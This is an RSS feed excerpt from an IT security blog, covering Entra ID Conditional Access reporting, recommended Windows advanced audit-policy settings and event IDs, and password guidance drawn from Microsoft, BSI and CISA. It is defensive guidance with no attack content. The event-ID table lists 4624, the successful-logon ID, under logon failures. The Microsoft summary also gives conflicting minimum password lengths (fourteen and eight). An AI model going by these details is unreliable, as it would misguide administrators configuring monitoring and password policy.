<p>In the <span style="color:crimson"><strong>Impact summary</strong></span>, you can view the total number of sign-ins, including successful and unsuccessful attempts, as well as instances where Conditional Access policies were not applied.
Additionally, you can click on the counts to drill down into the corresponding pie charts for more detailed insights.</p>
  <ul>
    <ul>
      <li>Total</li>
      <li>Success</li>
      <li>Failure</li>
      <li>Not applied</li>
    </ul>
  </ul>
</ol>
<img src="\entra_ca_insights\ca_insights_2.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>&nbsp;</p>
<ol>
<p>Below the <strong>Impact summary</strong>, you will find the <span style="color:crimson"><strong>Breakdown per condition and sign-in status</strong></span>. This section provides pie charts and an overview of the countries and applications associated with your users or sign-ins.</p>
  <ul>
    <ul>
      <li>Device State</li>
      <li>Device platform</li>
      <li>Client app</li>
      <li>Sign-in risk</li>
      <li>Location</li>
      <li>Applications</li> 
    </ul>
  </ul>
</ol>
<img src="\entra_ca_insights\ca_insights_3.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<p>&nbsp;</p>
<ol>
<p>And below that, you can explore detailed insights about your sign-ins in the <span style="color:crimson"><strong>Sign-in details</strong></span> section.</p>
  <ul>
    <ul>
      <li>User sign-in count</li>
      <li>Sign-in events</li>
    </ul>
  </ul>
</ol>
<img src="\entra_ca_insights\ca_insights_4.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\entra_ca_insights\ca_insights_5.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Monitoring Conditional Access policies is key to keeping your organization's resources secure in Entra ID.<br>
The steps above make it easy to get a clear picture of how your policies are working and help you roll out new ones with confidence.<br>
With report-only mode, you can test out new policies without enforcing them right away, and the detailed data lets you see exactly how they're performing.<br>
By using Log Analytics Workspace, diagnostic settings, and the Insights and Reporting tools, you’ll have everything you need to stay on top of policy performance, user activity, and potential security issues.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Audit Windows OS - Best practices | Security]]></title>
            <link>https://michaelsendpoint.com/security/audit_windows_os_best_practices.html</link>
            <guid>https://michaelsendpoint.com/security/audit_windows_os_best_practices.html</guid>
            <pubDate>Tue, 22 Apr 2025 18:29:58 GMT</pubDate>
            <description><![CDATA[Discover the best practices for auditing Windows endpoints and Windows Server to enhance security, detect potential incidents early, and ensure compliance with industry standards.]]></description>
            <content:encoded><![CDATA[<h1 id="here-are-the-best-practices-for-auditing-windows-endpoints-and-windows-server" tabindex="-1">Here are the best practices for auditing Windows endpoints and Windows Server <a class="header-anchor" href="#here-are-the-best-practices-for-auditing-windows-endpoints-and-windows-server" aria-label="Permalink to &quot;Here are the best practices for auditing Windows endpoints and Windows Server&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Auditing Windows endpoints and Windows Server is a critical aspect of maintaining a secure and compliant IT environment. By implementing best practices for auditing, you can ensure that your systems are monitored effectively, potential security incidents are detected early, and compliance requirements are met.</p>
<p>This guide provides a comprehensive overview of the best practices for auditing Windows operating systems. Whether you are managing a small network or a large enterprise, these recommendations will help you enhance the security and integrity of your Windows infrastructure.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>To learn more about Tier 0, Tier 1, and Tier 2, please refer to my <a href="https://michaelsendpoint.com/security/paw_jumphost.html" target="_blank" rel="noreferrer">Asset Security</a> article or the <a href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model#evolution-from-the-legacy-ad-tier-model" target="_blank" rel="noreferrer">Microsoft Learn</a> article.</p>
</div>
<h2 id="recommendation-for-windows-endpoints-tier" tabindex="-1">Recommendation for Windows endpoints (Tier 2️⃣): <a class="header-anchor" href="#recommendation-for-windows-endpoints-tier" aria-label="Permalink to &quot;Recommendation for Windows endpoints (Tier :two:):&quot;">&ZeroWidthSpace;</a></h2>
<table>
<thead>
<tr>
<th>Audit Policy Category or Subcategory</th>
<th style="text-align:center">Success</th>
<th style="text-align:center">Failure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Logon: Audit Credential Validation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Account Management: Audit Computer Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Account Management: Audit Other Account Management Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Account Management: Audit Security Group Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Account Management: Audit User Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Detailed Tracking: Audit Process Creation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logoff</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Special Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Policy Change: Audit Audit Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit Authentication Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>System: Audit IPsec Driver</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security State Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security System Extension</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit System Integrity</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
</tbody>
</table>
<h2 id="recommendation-for-critical-windows-endpoints-tier" tabindex="-1">Recommendation for ⚡critical Windows endpoints (Tier 2️⃣): <a class="header-anchor" href="#recommendation-for-critical-windows-endpoints-tier" aria-label="Permalink to &quot;Recommendation for :zap:critical Windows endpoints (Tier :two:):&quot;">&ZeroWidthSpace;</a></h2>
<table>
<thead>
<tr>
<th>Audit Policy Category or Subcategory</th>
<th style="text-align:center">Success</th>
<th style="text-align:center">Failure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Logon: Audit Credential Validation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Logon: Audit Kerberos Authentication Service</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Logon: Audit Kerberos Service Ticket Operations</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Logon: Audit Other Account Logon Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Computer Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Other Account Management Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Security Group Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit User Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Detailed Tracking: Audit DPAPI Activity</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Detailed Tracking: Audit Process Creation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Account Lockout</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logoff</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Special Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit Audit Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit Authentication Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit MPSSVC Rule-Level Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit IPsec Driver</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security State Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security System Extension</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit System Integrity</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
</tbody>
</table>
<h2 id="recommendation-for-windows-server-tier" tabindex="-1">Recommendation for Windows Server (Tier 1️⃣): <a class="header-anchor" href="#recommendation-for-windows-server-tier" aria-label="Permalink to &quot;Recommendation for Windows Server (Tier :one:):&quot;">&ZeroWidthSpace;</a></h2>
<table>
<thead>
<tr>
<th>Audit Policy Category or Subcategory</th>
<th style="text-align:center">Success</th>
<th style="text-align:center">Failure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Logon: Audit Credential Validation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Computer Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Account Management: Audit Other Account Management Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Security Group Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit User Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Detailed Tracking: Audit Process Creation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logoff</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Special Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Policy Change: Audit Audit Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit Authentication Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>System: Audit IPsec Driver</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security State Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security System Extension</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit System Integrity</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
</tbody>
</table>
<h2 id="recommendation-for-critical-windows-server-domain-controller-tier" tabindex="-1">Recommendation for ⚡critical Windows Server / Domain Controller (Tier 0️⃣): <a class="header-anchor" href="#recommendation-for-critical-windows-server-domain-controller-tier" aria-label="Permalink to &quot;Recommendation for :zap:critical Windows Server / Domain Controller (Tier :zero:):&quot;">&ZeroWidthSpace;</a></h2>
<table>
<thead>
<tr>
<th>Audit Policy Category or Subcategory</th>
<th style="text-align:center">Success</th>
<th style="text-align:center">Failure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Logon: Audit Credential Validation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Logon: Audit Kerberos Authentication Service</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Logon: Audit Kerberos Service Ticket Operations</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Logon: Audit Other Account Logon Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Computer Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Other Account Management Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit Security Group Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Account Management: Audit User Account Management</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Detailed Tracking: Audit DPAPI Activity</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Detailed Tracking: Audit Process Creation</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>DS Access: Audit Directory Service Access</td>
<td style="text-align:center">DC</td>
<td style="text-align:center">DC</td>
</tr>
<tr>
<td>DS Access: Audit Directory Service Changes</td>
<td style="text-align:center">DC</td>
<td style="text-align:center">DC</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Account Lockout</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit IPsec Main Mode</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logoff</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">No</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Other Logon/Logoff Events</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Logon and Logoff: Audit Special Logon</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit Audit Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit Authentication Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>Policy Change: Audit MPSSVC Rule-Level Policy Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit IPsec Driver</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security State Change</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit Security System Extension</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
<tr>
<td>System: Audit System Integrity</td>
<td style="text-align:center">Yes</td>
<td style="text-align:center">Yes</td>
</tr>
</tbody>
</table>
<h2 id="additional-information" tabindex="-1">ℹ️ Additional Information <a class="header-anchor" href="#additional-information" aria-label="Permalink to &quot;:information_source: Additional Information&quot;">&ZeroWidthSpace;</a></h2>
<p>These are <strong>'Advanced Audit'</strong> settings, which can be found under:<br></p>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration</span></span></code></pre>
</div><p>These should not be mixed with the basic audit policies, as this can lead to conflicts.
End-user devices should be considered when creating audit policies, even if they do not have the same priority as servers. Hacker attacks almost always start with workstation computers. Neglecting this important source of information can lead to significant losses.
In addition, for all the above policy recommendations should the <strong>'maximum log size'</strong> attribute be set.</p>
<p>To be found under:<br></p>
<div class="language- vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang"></span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span>Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Event Log</span></span></code></pre>
</div><ul>
<li>💿 Maximum appIicatlon log size: 4,194,240 (kilobytes)</li>
<li>⛔ Maximum security log size: 4,194,240 (kilobytes)</li>
<li>🖥️ Maximum system log size: 4,194,240 (kilobytes)</li>
</ul>
<p>However, it is important to know that this does not mean permanent storage of the logs. Depending on the amount of logs, they may be overwritten very quickly.
For longer storage / archiving of the logs, a central log management is required (like 'Windows Event Collector').
However, it is not enough to collect the logs. They also need to be monitored regularly to detect irregular behavior.</p>
<p>The following are some standard events to look out for:</p>
<table>
<thead>
<tr>
<th>Event Name</th>
<th>Event ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logon Failures</td>
<td>4624, 4771</td>
</tr>
<tr>
<td>Successful logons</td>
<td>4624</td>
</tr>
<tr>
<td>Failures due to bad passwords</td>
<td>4625</td>
</tr>
<tr>
<td>User Account Locked out</td>
<td>4740</td>
</tr>
<tr>
<td>User Account Unlocked</td>
<td>4767</td>
</tr>
<tr>
<td>User changed password</td>
<td>4723</td>
</tr>
<tr>
<td>User Added to Privileged Group</td>
<td>4728, 4732, 4756</td>
</tr>
<tr>
<td>Member added to a group</td>
<td>4728, 4732, 4756 , 4761, 4746, 4751</td>
</tr>
<tr>
<td>Member removed from group</td>
<td>4729, 4733, 4757, 4762, 4747, 4752</td>
</tr>
<tr>
<td>Security log cleared</td>
<td>1102</td>
</tr>
<tr>
<td>Computed Deleted</td>
<td>4743</td>
</tr>
</tbody>
</table>
<p>Here you will find other event IDs that may be of interest depending on the machine being monitored.
<a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/appendix-l--events-to-monitor" target="_blank" rel="noreferrer">Microsoft Learn | Events to Monitor</a><br>
This command can be used to display the PC's currently valid audit policies (elevated privileges required).</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">auditpol </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">get </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">category:</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Password - Best practices | Security]]></title>
            <link>https://michaelsendpoint.com/security/passwort_best_practices.html</link>
            <guid>https://michaelsendpoint.com/security/passwort_best_practices.html</guid>
            <pubDate>Tue, 22 Apr 2025 18:29:58 GMT</pubDate>
            <description><![CDATA[Learn the best practices for creating and managing passwords to enhance security for both administrators and users in your organization.]]></description>
            <content:encoded><![CDATA[<h1 id="password-best-practices" tabindex="-1">Password best practices <a class="header-anchor" href="#password-best-practices" aria-label="Permalink to &quot;Password best practices&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>In today's digital age, the security of your accounts is more important than ever. Passwords are still often the first line of defense against unauthorized access, making it crucial to follow best practices for creating and managing them. Whether you're an administrator responsible for securing an organization's systems or a user looking to protect your personal accounts, understanding and implementing strong password practices is essential.</p>
<p>This article provides a guide to password best practice, taking into account recommendations from relevant authorities.</p>
<h2 id="microsoft-currently-recommends-setting-of-m365-passwords-as-follows" tabindex="-1">❗ Microsoft currently recommends setting of M365 passwords as follows <a class="header-anchor" href="#microsoft-currently-recommends-setting-of-m365-passwords-as-follows" aria-label="Permalink to &quot;:exclamation: Microsoft currently recommends setting of M365 passwords as follows&quot;">&ZeroWidthSpace;</a></h2>
<h4 id="for-administrators" tabindex="-1">For Administrators <a class="header-anchor" href="#for-administrators" aria-label="Permalink to &quot;For Administrators&quot;">&ZeroWidthSpace;</a></h4>
<ul>
<li>Maintain an fourteen-character minimum length requirement</li>
<li>Don't require character composition requirements. For example, *&amp;(^%$</li>
<li>Don't require mandatory periodic password resets for user accounts</li>
<li>Ban common passwords, to keep the most vulnerable passwords out of your system</li>
<li>Educate your users to not reuse their organization passwords for nonwork related purposes</li>
<li>Enforce registration for multi-factor authentication</li>
<li>Enable risk based multi-factor authentication challenges</li>
</ul>
<h4 id="for-users" tabindex="-1">For Users <a class="header-anchor" href="#for-users" aria-label="Permalink to &quot;For Users&quot;">&ZeroWidthSpace;</a></h4>
<ul>
<li>Don't use a password that is the same or similar to one you use on any other websites</li>
<li>Don't use a single word, for example, password, or a commonly used phrase like Iloveyou</li>
<li>Make passwords hard to guess, even by people who know a lot about you, such as the names and birthdays of your friends and family, your favorite bands, and phrases you like to use</li>
</ul>
<h3 id="what-microsoft-says-about-the-potential-negative-consequences-of-traditional-password-policies" tabindex="-1">What Microsoft says about the potential negative consequences of traditional password policies <a class="header-anchor" href="#what-microsoft-says-about-the-potential-negative-consequences-of-traditional-password-policies" aria-label="Permalink to &quot;What Microsoft says about the potential negative consequences of traditional password policies&quot;">&ZeroWidthSpace;</a></h3>
<p>User Password Expiration Requirements
Password expiration requirements do more harm than good, as they make users select predictable passwords, composed of sequential words and numbers that are closely related to each other. In these cases, the next password can be predicted based on the previous password. Password expiration requirements offer no containment benefits because cybercriminals almost always use credentials as soon as they compromise them.</p>
<p>Minimum password length requirements
To encourage users to think about a unique password, we recommend keeping a reasonable eight-character minimum length requirement.
Require the use of multiple character sets
Password complexity requirements reduce key space and cause users to act in predictable ways, doing more harm than good. Most systems enforce some level of password complexity requirements. For example, passwords need characters from all three of the following categories:</p>
<ul>
<li>uppercase characters</li>
<li>lowercase characters</li>
<li>non-alphanumeric characters</li>
</ul>
<p>Most people use similar patterns. For example, a capital letter in the first position, a symbol in the last, and a number in the last 2. Cyber criminals are aware about such patterns, so they run their dictionary attacks using the most common substitutions, &quot;$&quot; for &quot;s&quot;, &quot;@&quot; for &quot;a,&quot; &quot;1&quot; for &quot;l&quot;. Forcing your users to choose a combination of upper, lower, digits, special characters has a negative effect. Some complexity requirements even prevent users from using secure and memorable passwords, and force them into coming up with less secure and less memorable passwords.</p>
<h3 id="what-microsoft-thinks-is-the-better-approach" tabindex="-1">What Microsoft thinks is the better approach <a class="header-anchor" href="#what-microsoft-thinks-is-the-better-approach" aria-label="Permalink to &quot;What Microsoft thinks is the better approach&quot;">&ZeroWidthSpace;</a></h3>
<h4 id="ban-common-passwords" tabindex="-1">Ban common passwords <a class="header-anchor" href="#ban-common-passwords" aria-label="Permalink to &quot;Ban common passwords&quot;">&ZeroWidthSpace;</a></h4>
<p>The most important password requirement you should put on your users when creating passwords is to ban the use of common passwords to reduce your organization's susceptibility to brute force password attacks. Common user passwords include: abcdefg, password, monkey.
Educate users to not reuse organization passwords anywhere else
One of the most important messages to get across to users in your organization is to not reuse their organization password anywhere else. The use of organization passwords in external websites greatly increases the likelihood that cybercriminals can compromise these passwords.</p>
<h4 id="enforce-multi-factor-authentication-registration" tabindex="-1">Enforce Multi-Factor Authentication registration <a class="header-anchor" href="#enforce-multi-factor-authentication-registration" aria-label="Permalink to &quot;Enforce Multi-Factor Authentication registration&quot;">&ZeroWidthSpace;</a></h4>
<p>Make sure your users update contact and security information, like an alternate email address, phone number, or a device registered for push notifications, so they can respond to security challenges and be notified of security events. Updated contact and security information helps users verify their identity if they ever forget their password, or if someone else tries to take over their account. It also provides an out of band notification channel for security events such as login attempts or changed passwords.</p>
<h4 id="enable-risk-based-multi-factor-authentication" tabindex="-1">Enable risk based multi-factor authentication <a class="header-anchor" href="#enable-risk-based-multi-factor-authentication" aria-label="Permalink to &quot;Enable risk based multi-factor authentication&quot;">&ZeroWidthSpace;</a></h4>
<p>Risk-based multi-factor authentication ensures that when our system detects suspicious activity, it can challenge the user to ensure that they're the legitimate account owner.</p>
<h2 id="the-bsi-is-currently-issuing-the-following-guidelines" tabindex="-1">❕ The BSI is currently issuing the following guidelines <a class="header-anchor" href="#the-bsi-is-currently-issuing-the-following-guidelines" aria-label="Permalink to &quot;:grey_exclamation: The BSI is currently issuing the following guidelines&quot;">&ZeroWidthSpace;</a></h2>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>BSI (Bundesamt für Sicherheit in der Informationstechnik) is the German Federal Office for Information Security</p>
</div>
<h3 id="what-is-a-strong-password" tabindex="-1">What is a strong password <a class="header-anchor" href="#what-is-a-strong-password" aria-label="Permalink to &quot;What is a strong password&quot;">&ZeroWidthSpace;</a></h3>
<p><strong>Short, but complex password</strong></p>
<ul>
<li>Is eight to twelve characters long.</li>
<li>Consists of four different types of characters.</li>
<li>Upper and lower case letters, numbers and special characters are arbitrarily strung together.</li>
</ul>
<p><strong>Long, but less complex password</strong></p>
<ul>
<li>Is at least 25 characters long.</li>
<li>Consists of two types of characters.</li>
<li>For example, it can consist of six consecutive words, each separated by a character.</li>
</ul>
<h3 id="these-are-the-rules" tabindex="-1">These are the rules <a class="header-anchor" href="#these-are-the-rules" aria-label="Permalink to &quot;These are the rules&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>One individual password per account!</li>
<li>Multi-factor authentication (in addition to the password by e.g. Face recognition, app verification, email or a PIN on another device) is recommended.</li>
<li>Use all available characters, including uppercase and lowercase letters, numbers, and special characters.</li>
<li>The full password should not appear in the dictionary.</li>
</ul>
<h3 id="what-to-avoid" tabindex="-1">What to avoid <a class="header-anchor" href="#what-to-avoid" aria-label="Permalink to &quot;What to avoid&quot;">&ZeroWidthSpace;</a></h3>
<ul>
<li>Names of family members, pets, dates of birth, etc.</li>
<li>Simple or well-known repetition or keyboard patterns such as &quot;easdfgh&quot; or &quot;.1234abcd&quot;</li>
<li>Numbers or special characters at the beginning or end of an otherwise simple password.</li>
<li>Same password for more than one account.</li>
</ul>
<h2 id="this-is-what-cisa-issues-as-guidelines" tabindex="-1">❕ This is what CISA issues as guidelines <a class="header-anchor" href="#this-is-what-cisa-issues-as-guidelines" aria-label="Permalink to &quot;:grey_exclamation: This is what CISA issues as guidelines&quot;">&ZeroWidthSpace;</a></h2>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>CISA (Cybersecurity and Infrastructure Security Agency) is a US government agency part of the Department of Homeland Security.</p>
</div>
<ul>
<li><strong>Long</strong> - at least 16 characters long (even longer is better).</li>
<li><strong>Random</strong> - like a string of mixed-case letters, numbers and symbols (the strongest!) or a passphrase of 4 –7 random words.</li>
<li><strong>Unique</strong> - used for one and only one account.</li>
</ul>
<p>Provide your employees with an enterprise-level password manager or try switching to an identity and access manager (IAM) with single sign-on (SSO).
Require that the default credentials for all software and hardware products be changed at first use.</p>
<h2 id="my-recommendation" tabindex="-1">🔝 My recommendation <a class="header-anchor" href="#my-recommendation" aria-label="Permalink to &quot;:top: My recommendation&quot;">&ZeroWidthSpace;</a></h2>
<p>Basically, it makes sense, as described by Microsoft, to treat users and administrators separately.</p>
<h3 id="for-users-1" tabindex="-1">For Users <a class="header-anchor" href="#for-users-1" aria-label="Permalink to &quot;For Users&quot;">&ZeroWidthSpace;</a></h3>
<p>For the normal user, it makes sense to find the most secure variant that also involves the least effort. From experience, there will always be some users looking for the easiest way or making mistakes, and this number will grow as more complex password rules are implemented.
For this reason, it is recommended to switch to a passwordless procedure such as &quot;Windows Hello for Business&quot; or a &quot;Fido key&quot; and at the same time take advantage of risk-based conditional access policies. This makes it possible to use the highest level of security that can withstand Zero Trust or NIS2 requirements while providing a high level of ease of use.</p>
<p>If a normal password is still required, a long password without complexity requirements is recommended. Ideally, this should be a written sentence with punctuation marks. The password should not expire, and certain words related to the company or person should be prohibited. This helps create a long and complex password that is most likely unique. Since this pssword does not need to be changed, experience has shown that users make more effort in creating it.</p>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>Regardless of whether with or without a password, multifactor authentication should be made mandatory and single sign-on should be activated where possible.</p>
</div>
<h3 id="for-administrators-1" tabindex="-1">For Administrators <a class="header-anchor" href="#for-administrators-1" aria-label="Permalink to &quot;For Administrators&quot;">&ZeroWidthSpace;</a></h3>
<p>For dedicated administrator accounts, a traditional password makes sense, as well as providing a password manager. This ensures that passwords meet high complexity requirements, are unique at the same time and still offer an acceptable user experience for the administrator. By using the password manager, a longer password of 14 characters or more with complexity requirements can also be easily enforced. Here too, periodic resets should be dispensed with and more emphasis should be placed on MFA, risk-based access control and close auditing. In addition, it is important to make sure that no passwords are reused or simple words are used within them.</p>
